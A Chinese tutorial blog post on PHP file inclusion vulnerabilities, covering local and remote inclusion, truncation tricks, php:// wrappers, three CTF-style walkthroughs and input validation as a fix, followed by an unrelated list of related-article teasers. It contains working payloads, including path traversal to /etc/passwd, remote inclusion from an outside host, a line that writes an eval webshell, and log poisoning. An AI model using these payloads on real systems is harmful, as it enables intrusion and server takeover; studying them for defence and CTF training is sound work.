文件操作--文件包含漏洞
本文主要内容
脚本
ASP、PHP、JSP、ASPX、Python、Javaweb --# 各种包含函数
检测
白盒
代码审计
黑盒
漏扫工具、公开漏洞、手工看参数值及功能点类型
本地包含
有限制、无限制远程包含
无限制、有限制利用
http、ftp、file、各种脚本支持协议
修复
固定后缀、固定文件、WAF产品
--> 将文件以脚本执行
文件包含漏洞
基本含义
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为,通常分为两种类型:
本地文件包含(LFI):攻击者能够包含和执行服务器本地文件系统中的文件。攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。
远程文件包含(RFI):包含互联网可以访问到的文件,危害更大。
文件包含漏洞的根本原因在于用户输入未严格验证、不当的文件处理逻辑以及缺乏安全配置。
模拟场景
场景描述
假设有一个PHP网站,它有一个功能是显示用户的个人资料。网站通过URL参数来接收用户ID,并根据这个ID来显示相应的用户资料。这个功能可能使用了类似下面的代码:
<?php // 假设用户ID通过URL参数传递 $user_id = $_GET['user_id'];// 根据用户ID包含相应的用户资料文件 include("users/$user_id.php"); ?>
在这个例子中,
include()
函数被用来包含一个名为users/$user_id.php
的文件。这里的$user_id
是从URL参数中直接获取的,没有进行任何验证或过滤。漏洞利用
攻击者发现这个功能后,可以尝试修改
user_id
参数来包含服务器上的其他文件。例如,攻击者可以通过修改URL为:
http://example.com/profile.php?user_id=../../../../../../../../etc/passwd
来尝试访问服务器的
/etc/passwd
文件。如果服务器配置不当,允许执行任意文件,攻击者甚至可以包含一个远程服务器上的恶意PHP脚本,从而执行远程代码。防御措施
为了防御这种类型的文件包含漏洞,可以采取以下措施:
验证和过滤用户输入:确保所有用户输入都经过严格的验证和过滤。在这个例子中,可以检查
$user_id
是否只包含数字和可能的字母(如果用户ID允许字母的话)。<?php $user_id = $_GET['user_id'];// 验证用户ID是否只包含数字和字母 if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {die('Invalid user ID.'); }include("users/$user_id.php"); ?>
模拟场景2
在本地搭建环境:配置一个include.php 文件,同时有一个1.txt文件写入php脚本
再通过浏览器访问 127.0.0.1:8080/include.php?filename=1.txt
<?php phpinfo();?>
<?php
$filename=$_GET['filename'];
include($filename);//http://127.0.0.1: 8080/include.php?filename=index.txt?>
对比发现,//127.0.0.1:8080/1.txt 会直接显示文本数据
而通过include($filename);会将指定文件里面的这个内容呢以这个脚本代码去执行,不同浏览器有自己的脚本样例
两种类型
本地包含
无限制
浏览器访问访问/127.0.0.1:8080/include.php?filename=../../../www.txt
www.txt文件被当作php脚本执行
<?php echo 'xiaodi'; ?>
有限制
访问会变成 include.php?filename=index.txt.html
<?php$filename=$_GET['filename']; include($filename.".html");?>
%00截断:条件:magic_quotes_gpc= Off php版本<5.3.4
filename=../../../www.txt%00 --# 不太实用
长度截断:条件:windows,点号需要长于256;1inux长于4096 --# 加上n个././远程包含
将远程文件作为脚本读取 [直接读取会当作文本文件]
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt
<?php$filename=$_GET['filename']; include($filename);?>
如果有限制的话如下
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
协议利用
表格
协议 | PHP 支持情况 | Java 支持情况 |
---|---|---|
http | 支持 | 支持 |
https | 支持 | 支持 |
gopher | 需要 curlwrappers | JDK 1.7 之前不支持,之后支持 |
tftp | 需要 curlwrappers | 不支持 |
dict | 需要 curlwrappers | 不支持 |
file | 支持 | 支持 |
ftp | 支持 | 支持 |
imap | 需要 curlwrappers | 不支持 |
pop3 | 需要 curlwrappers | 不支持 |
rtsp | 需要 curlwrappers | 支持 |
smb | 需要 curlwrappers | 支持 |
smtp | 需要 curlwrappers | 不支持 |
telnet | 需要 curlwrappers | 不支持 |
PS:(curlwrappers
是 PHP 中的一个特性,它允许 PHP 使用 curl
库来处理 URL 流。这意味着可以通过 PHP 的一些常用函数,如 fopen()
和 file_get_contents()
,来访问和操作网络资源,而不需要直接使用 curl
库中的函数。curlwrappers
可以简化 URL 操作,使得开发者可以使用 PHP 中的常见函数来处理网络请求,而不必学习 curl
库中的复杂函数。然而,curlwrappers
的功能相对较弱,不能执行 curl
扩展所能进行的更复杂的操作。在编译 PHP 时,可以通过 --with-curlwrappers
选项来启用这个特性。)
php伪协议:
参考网站
php伪协议 - 看不尽的尘埃 - 博客园https://www.cnblogs.com/endust/p/11804767.html
使用案例
http://127.0.0.1:8080/include.php?filename=php://filter/convert.base64encode/resource=1.txt --#读取文件内容
http://127.0.0.1:8080/include.php?filename=php://input
Post:<?php system('ver')?> --# 使用POST提交
<?PHP fputs(fopen('s.php','w'),'<?php@eval($_POsT[cmd])?>');?>
http://127.0.0.1:8080/include.php?filename=file:///D:/phpstudy/PHPTutorial/WWW/1.txt
http://127.0.0.1:8080/include.php?filename=data://text/plain,
<?php&20phpinfo();?>
三个案例
例题1
asdfhttp://4.chinalover.sinaapp.com/web7/index.php
解题过程
点开之后变成 /web7/index.php?file=show.php --# 观察url组成
说明可能存在文件包含(访问地址包含其他文件),试探性访问/web7/show.php,发现显示数据一样都是 “test123”,下面的操作就是,要么执行文件,要么执行命令,
如何确定是Linux还是其他OS呢?输入show.phP,报错则是Linux (不过我这里可能自动转小写,导致没有报错,因为Linux严格区分大小写) ,确定系统,发现路被堵住了,此时切换方法
/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php,读取文件内容,加上base64编码是为了防止出现乱码
例题2
选手训练营 - 网络安全竞赛|网络安全竞赛培训|信息安全竞赛培训-i春秋https://www.ichunqiu.com/battalion?t=1&r=0
确认操作系统时候直接使用协议,看是否有拦截,hunqiu.com/?path=php://input
输入命令<?php system('cat<dle345aae.php');?> 执行Linux命令,再查看源码,得到flag
例题3
/127.0.0.1:8080/ekucms/index.php?s=my/show/id/{~eval($_POST[x])
访问不存在的文件,不存在就存到日志里面去了
/127.0.0.1:8080/ekucms/index.php?s=my/show/id/\..\temp\/ogs\25_05_01.log
后续就进行漏洞输入x=phpinfo();
ekucms2.5文件漏洞复习_易酷cms漏洞-CSDN博客https://blog.csdn.net/weixin_57744947/article/details/139691909
知识点补充
PHP 中的
include()
函数用于将指定文件的内容包含到当前文件中,并且执行被包含文件中的代码。被包含的文件通常包含函数定义、类定义、配置设置或任何其他PHP代码。include()
函数在PHP脚本执行期间被调用,它会在脚本执行到该行时,将指定文件的代码读取并执行。示例
假设有两个文件:
header.php
和footer.php
,以及一个主文件index.php
。header.php:
<!DOCTYPE html> <html> <head><title>My Page</title> </head> <body>
footer.php:
</body> </html>
index.php:
<?php include('header.php'); ?><h1>Welcome to My Page</h1><?php include('footer.php'); ?>
在这个例子中,
index.php
使用include()
函数包含了header.php
和footer.php
文件。当访问index.php
时,它实际上显示了这三个文件的内容,即一个完整的HTML页面。
相关文章:
文件操作--文件包含漏洞
本文主要内容 脚本 ASP、PHP、JSP、ASPX、Python、Javaweb --# 各种包含函数 检测 白盒 代码审计 黑盒 漏扫工具、公开漏洞、手工看参数值及功能点 类型 本地包含 有限制、无限制 远程包含 无限制、有限制…...
数字智慧方案6156丨智慧医联体信息化解决方案(50页PPT)(文末有下载方式)
资料解读:智慧医联体信息化解决方案 详细资料请看本解读文章的最后内容。 在医疗改革不断深化的大背景下,医联体信息化建设成为推动医疗服务高质量发展的关键力量。《智慧医联体信息化解决方案》这份资料,全面且深入地阐述了医联体信息化建…...
华为eNSP:多区域集成IS-IS
一、什么是多区域集成IS-IS? 多区域集成IS-IS是一种基于中间系统到中间系统(IS-IS)协议优化的网络架构设计,通过多区域协同、路径优化和扩展性增强实现高效路由管理,其核心特征如下: 1、分布式架构与多区…...
RAG技术完全指南(一):检索增强生成原理与LLM对比分析
RAG技术完全指南(一):检索增强生成原理与LLM对比分析 文章目录 RAG技术完全指南(一):检索增强生成原理与LLM对比分析1. RAG 简介2. 核心思想3. 工作流程3.1 数据预处理(索引构建)3.2…...
(持续更新)Ubuntu搭建LNMP(Linux + Nginx + MySQL + PHP)环境
LNMP(Linux Nginx MySQL PHP)环境是在Linux操作系统上构建的一个高性能Web服务器环境。M也可以指代其他数据库,P也可以指代Python 1. 准备Linux系统 确保你已经在一台服务器或虚拟机上安装了Linux操作系统。推荐使用Ubuntu、CentOS或Debi…...
机器人手臂控制器:EMC电磁兼容解决(一)
一、机器人手臂控制器行业标准剖析 GB/T 39004—2020《工业机器人电磁兼容设计规范》 GB/T 37283-2019 服务机器人 电磁兼容 通用标准 抗扰度要求和限值 GB/T 39785-2021 服务机器人 机械安全评估与测试方法 GB/T 40014-2021 双臂工业机器人 性能及其试验方法 GB/T 40013-…...
Qt进阶开发:QSS常用的语法介绍和使用
文章目录 一、什么是QSS?二、QSS的基本语法三、QSS 的使用方式3.1 在代码中设置 QSS3.2 加载外部 QSS 文件四、QSS中选择器的介绍和使用4.1 Type Selector(类型选择器)4.2 ID Selector(ID 选择器)4.2.1 仅使用 ID(常见写法)4.2. 2 类型 + ID(更精确匹配)4.3 Class Sel…...
qemu学习笔记:QOM
2.4 QOM介绍 说明:小白学习qemu的一些学习笔记。主要是学习《QEMU&KVM源码解析与应用》这本书。 参考: 《QEMU&KVM源码解析与应用》作者:李强 Qemu - 百问网嵌入式Linux wiki QOM 定义:QEMU Object Model,是 Q…...
Spring AI开发跃迁指南(第二章:急速上手3——Advisor核心原理、源码讲解及使用实例)
1.Advisor简介 Spring AI 中的 Advisor 是一种核心机制,用于拦截和增强 AI 应用程序中的请求与响应流。其设计灵感来源于 Spring AOP(面向切面编程)中的切面(Aspect)概念,但专门针对 AI 交互场景进行了优化…...
51c嵌入式~单片机~合集9
我自己的原文哦~ https://blog.51cto.com/whaosoft/13884964 一、单片机中hex、bin文件的区别 单片机程序编译之后,除了生成hex文件之外还生成了bin文件,实际它们都是单片机的下载文件,下文介绍它们的区别。 Hex Hex文件包含地址信息。…...
linux学习——数据库API创建
一.API操作 1.int sqlite3_open(char *filename,sqlite3 **db) 功能:打开sqlite数据库 参数: filename:数据库文件路径 db:指向sqlite句柄的指针 (splite3* db;) 返回值…...
21.2Linux中的LCD驱动实验(驱动)_csdn
1、修改设备树 1.1、LCD 屏幕使用的 IO 配置 编译: make uImage LOADADDR0XC2000040 -j8 //编译内核复制给内核的镜像路径:1.2、LDTC 接口节点修改 1.3、输出接口的编写 2、在 panel-simple.c 文件里面添加屏幕参数 显示波浪线是因为alientek_desc 保存参…...
Dubbo(89)如何设计一个支持多语言的Dubbo服务?
设计一个支持多语言的Dubbo服务需要考虑以下几个方面: 服务接口设计:确保服务接口的定义可以被不同语言实现。序列化协议:选择一个支持多语言的序列化协议,例如Protobuf、Thrift、gRPC等。服务注册与发现:确保服务注册…...
油气地震资料数据中“照明”的含义
油气地震资料数据中“照明”的含义 在地震勘探中,“照明”(Illumination)是一个比喻性术语,用于描述地下地质构造被地震波能量覆盖的程度。其核心含义包括: 能量覆盖:指地震波(如人工激发的地…...
[FPGA Video IP] Frame Buffer Read and Write
Xilinx Video Frame Buffer Read and Write IP (PG278) 详细介绍 概述 Xilinx LogiCORE™ IP Video Frame Buffer Read(帧缓冲读取)和 Video Frame Buffer Write(帧缓冲写入)核(PG278)是一对专为视频处理…...
新能源行业供应链规划及集成计划报告(95页PPT)(文末有下载方式)
资料解读:《数字化供应链规划及集成计划现状评估报告》 详细资料请看本解读文章的最后内容。 该报告围绕新能源行业 XX 企业供应链展开,全面评估其现状,剖析存在的问题,并提出改进方向和关键举措,旨在提升供应链竞争力…...
curl详解
curl 是一个常用的命令行工具,用于发送 HTTP 请求,支持包括 GET、POST、PUT、DELETE 等在内的多种 HTTP 方法。它非常适合用来测试 API、下载文件、与后端服务进行交互等。接下来,我会详细讲解 curl 的基本用法以及常见的应用场景。 &#x…...
博客打卡-人类基因序列功能问题动态规划
题目如下: 众所周知,人类基因可以被认为是由4个核苷酸组成的序列,它们简单的由四个字母A、C、G和T表示。生物学家一直对识别人类基因和确定其功能感兴趣,因为这些可以用于诊断人类疾病和设计新药物。 生物学家确定新基因序列功能…...
Runnable组件动态添加默认调用参数
01. bind 函数用途与使用技巧 在使用 LangChain 开发时,某些场景我们希望在一个 Runnable 队列中调用另一个 Runnable 并传递常量参数,这些参数既非前序 Runnable 的输出,也不是用户输入,而是组件自身的部分参数。此时可以使用 R…...
系统架构设计师:设计模式概述
面向对象技术为软件技术带来新的发展。人们运用面向对象的思想分析系统、为系统建模并设计系统,最后使用面向对象的程序语言来实现系统。 但是面向对象的设计并不是一件很简单的事情,尤其是要设计出架构良好的软件系统更不容易。 为了提高系统的复用性…...
天山流域流量数据集(1991-2019)
时间分辨率日空间分辨率/共享方式开放获取数据大小131.67 MB数据时间范围 1901-01-01 — 2019-12-31 元数据更新时间2025-03-24 数据集摘要 由于天山地区数据稀缺和水文条件复杂,中亚水塔的自然径流数据集在各种全球径流数据集(如GMIS、GRDC)…...
Linux 环境下 Mysql 5.7 数据定期备份
目录 一、创建数据备份脚本二、查看备份日志三、数据库数据恢复 备份策略: 系统环境 openEuler 22.03 (LTS-SP4) 单机备份 每天凌晨2点,指定数据库表全量备份,只保留近7次备份数据 每次的脚本执行,将会记录执行结果到日志…...
多模态大语言模型arxiv论文略读(五十二)
M3D: Advancing 3D Medical Image Analysis with Multi-Modal Large Language Models ➡️ 论文标题:M3D: Advancing 3D Medical Image Analysis with Multi-Modal Large Language Models ➡️ 论文作者:Fan Bai, Yuxin Du, Tiejun Huang, Max Q. -H. M…...
REST API、FastAPI与Flask API的对比分析
以下是关于REST API、FastAPI与Flask API的对比分析,涵盖架构设计、性能表现、开发效率等核心维度: 一、核心定位与架构差异 REST API 本质:一种基于HTTP协议的架构风格,强调资源化操作(通过URI定位资源)、…...
【论文阅读26】贝叶斯-滑坡预测-不确定性
📖 这篇论文主要说了什么? 📌 背景: 滑坡预测里,预测失稳时间(Slope Failure Time, SFT) 很关键,但它受两方面不确定性影响: 观测不确定性(监测数据本身的…...
【笔记】深度学习模型训练的 GPU 内存优化之旅④:内存交换与重计算的联合优化篇
开设此专题,目的一是梳理文献,目的二是分享知识。因为笔者读研期间的研究方向是单卡上的显存优化,所以最初思考的专题名称是“显存突围:深度学习模型训练的 GPU 内存优化之旅”,英文缩写是 “MLSys_GPU_Memory_Opt”。…...
边缘计算革命:大模型轻量化部署全栈实战指南
当ResNet-152模型能在树莓派4B上实现每秒27帧实时推理时,边缘智能时代真正到来。本文解析从模型压缩到硬件加速的完整技术栈,实测Transformer类模型在移动端的部署时延可压缩至16ms,揭示ARM芯片实现INT4量化的工程秘诀与十种典型场景优化方案…...
LangChain4j +DeepSeek大模型应用开发——7 项目实战 创建硅谷小鹿
这部分我们实现硅谷小鹿的基本聊天功能,包含聊天记忆、聊天记忆持久化、提示词 1. 创建硅谷小鹿 创建XiaoLuAgent package com.ai.langchain4j.assistant;import dev.langchain4j.service.*; import dev.langchain4j.service.spring.AiService;import static dev…...
python自动化测试
Python自动化测试指南 Python是自动化测试领域的首选语言之一,凭借其简洁的语法、丰富的库和强大的生态系统,能够高效地实现各种测试需求。本文将详细介绍Python在自动化测试中的应用,涵盖Web测试、API测试、单元测试、GUI测试等多个方面。 1. 自动化测试基础 测试金字塔…...
49、【OS】【Nuttx】【OSTest】参数解析:测试项
背景 接之前 blog 48、【OS】【Nuttx】【OSTest】内存监控:分配释放推演 解析完内存监控,继续看下一个测试项 getopt_test 测试项 getopt_test 如下 getopt,getopt_long,getopt_long_only getopt() 用来解析命令行短选项&am…...
String StringBuilder StringBuffer
文章目录 StringStringBuilderStringBuffer StringStringBuilderStringBuffer可变性不可变可变可变线程安全安全(天然不可变)不安全安全(同步方法)性能低(频繁操作生成新对象)高中(同步开销&…...
[FPGA 官方 IP] Binary Counter
Xilinx Binary Counter IP (PG121) 详细介绍 概述 Xilinx Binary Counter IP(二进制计数器 IP)是 AMD Xilinx 提供的 LogiCORE™ IP 核,用于在 FPGA 中实现高性能、面积高效的二进制计数器。该 IP 核支持上行计数器、下行计数器以及上/下计…...
【大模型实战篇】华为信创环境采用vllm部署QwQ-32B模型
1. 背景 本文分享在华为昇腾机器上部署QwQ-32B模型的实践。 首先华为自己是提供了一套在信创机器(NPU)上部署模型的方案【1】,但是部署之后,测试发现会有输出截断的现象。QwQ-32B本身是支持128k的最大上下文长度,定位…...
优雅关闭服务:深入理解 SIGINT / SIGTERM 信号处理机制
目录 为什么需要优雅关闭? 什么是 SIGINT 和 SIGTERM? 如何实现优雅关闭(以 C 为例) 示例代码(gRPC 服务 Boost 信号监听): 优雅关闭时的清理内容通常包括: 与 SIGKILL 的区别…...
2025五一杯数学建模竞赛选题建议+初步分析
完整内容请看文章最下面的推广群 2025五一杯数学建模竞赛选题建议初步分析 提示:C君认为的难度和开放度评级如下: 难度:B题 > A题 > C题,开放度:B题 > C题 > A题。综合来看:A题目标明确,数据…...
自动剪辑批量混剪视频过原创软件工具视频帧级处理技术实践批量截图解析
一、引言:视频素材精细化处理的技术需求 在视频内容生产与分析场景中,高效的帧级处理是素材解构的核心环节。本文结合实战经验,解析基于智能帧截取算法、参数化配置系统、多线程并行处理的批量帧处理技术方案,构建可复用的工程化…...
GD32F407单片机开发入门(二十五)HC-SR04超声波模块测距实战含源码
文章目录 一.概要二.HC-SR04主要参数1.模块引脚定义2.模块电气参数3.模块通讯时序4.模块原理图 三.GD32单片机超声波模块测距实验四.工程源代码下载五.小结 一.概要 HC-SR04超声波模块常用于机器人避障、物体测距、液位检测、公共安防、停车场检测等场所。HC-SR04超声波模块主…...
C++11新特性_Lambda 表达式
Lambda 表达式是 C11 引入的一项重要特性,它允许你在代码中创建匿名函数对象。Lambda 表达式为编写简洁、灵活的代码提供了便利,尤其适用于函数式编程和需要传递简短回调函数的场景。下面从基本语法、捕获列表、使用场景等方面详细介绍 Lambda 表达式。 …...
vue中$set原理
Vue 中的 $set 方法(Vue.set)主要用于 向响应式对象中添加一个新的属性,并确保这个新属性是响应式的,能够触发视图更新。 📌 背景问题:为什么需要 $set? 在 Vue 2 中,直接给对象新增…...
【C++重载操作符与转换】输入和输出操作符
目录 一、输入输出操作符概述 二、输入输出操作符重载的原理 2.1 为什么需要重载? 2.2 重载的限制 2.3 重载的方式 三、输入输出操作符重载的实现 3.1 输出操作符 << 的重载 3.2 输入操作符 >> 的重载 四、输入输出操作符重载的注意事项 4.1 …...
Vue 生命周期全解析:理解组件从创建到销毁的全过程
Vue 生命周期全解析:理解组件从创建到销毁的全过程 Vue.js 是一个流行的前端框架,它通过“组件化开发”提升了代码组织效率。要真正掌握 Vue,生命周期(Lifecycle) 是一个必须深入理解的核心概念。生命周期不仅决定了组…...
MySQL零基础入门:Ubuntu环境安装与操作精解
知识点1【数据库】 数据的存储方式,我们之前学的,从变量,数组,链表,最后到文件,文件之上,便是数据库,而我们要介绍的MySQL就是数据库的关系数据库中的其中一种。 1、数据库 本质&…...
【计算机视觉】语义分割:Mask2Former:统一分割框架的技术突破与实战指南
深度解析Mask2Former:统一分割框架的技术突破与实战指南 技术架构与创新设计核心设计理念关键技术组件 环境配置与安装指南硬件要求安装步骤预训练模型下载 实战全流程解析1. 数据准备2. 配置文件定制3. 训练流程4. 推理与可视化 核心技术深度解析1. 掩膜注意力机制…...
Qt二维码demo
使用QZXing库生成的二维码demo 运行结果 实现代码 c文件 #include "mainwindow.h" #include "ui_mainwindow.h" #include "src/myqrcodeheader.h"MainWindow::MainWindow(QWidget *parent) :QMainWindow(parent),ui(new Ui::MainWindow) {ui-&…...
Java 基础--数组(Array):存储数据的“排排坐”
作者:IvanCodes 发布时间:2025年5月1日🤓 专栏:Java教程 大家好!👋 咱们在编程时,经常需要处理一批相同类型的数据,比如班级里所有同学的成绩 💯、一周每天的最高气温 …...
OpenGL-ES 学习(10) ---- OpenGL-ES Shader语言语法
目录 Shader 举例Shader 语法版本规范声明变量和定法方法向量构造方法矩阵构造方法结构,数组,函数定义结构数组函数 内建函数条件语句和运算符统一变量统一变量块Shader 输入输出插值限定符预处理命令精度限定符不变性 Shader 举例 一个典型的简单的 Sh…...
Unity SpriteAtlas (精灵图集)
🏆 个人愚见,没事写写笔记 🏆《博客内容》:Unity3D开发内容 🏆🎉欢迎 👍点赞✍评论⭐收藏 🔎为什么要打图集? 💡打图集的目的就是减少DrawCall 提高性能 &a…...
(33)VTK C++开发示例 ---图片转3D
文章目录 1. 概述2. CMake链接VTK3. main.cpp文件4. 演示效果 更多精彩内容👉内容导航 👈👉VTK开发 👈 1. 概述 这是 VTK 测试 clipArt.tcl 的改编版本。 提供带有 2D 剪贴画的 jpg 文件,该示例将创建 3D 多边形数据模…...
RAG工程-基于LangChain 实现 Advanced RAG(预检索-查询优化)(上)
Enrich 完善问题 完善问题流程概述 问题转述 在典型RAG架构中,用户问题的质量直接影响检索系统的表现。研究表明,未经优化的自然语言查询会导致: 关键实体识别缺失 语义漂移导致召回偏离 长尾问题检索失败率升高 大多数用户并非提示词工程…...
交我算使用保姆教程:在计算中心利用singularity容器训练深度学习模型
文章目录 准备工作步骤如何封装和使用容器安装创建 Singularity 容器编写 def 文件构建容器查看构建容器的 python 版本本地测试挂载数据集和代码 如何上传数据windows 系统Linux 系统 如何设置作业任务脚本的结构常用的 Slurm 参数一份完整的 slurm 作业示例 如何在 debug 队列…...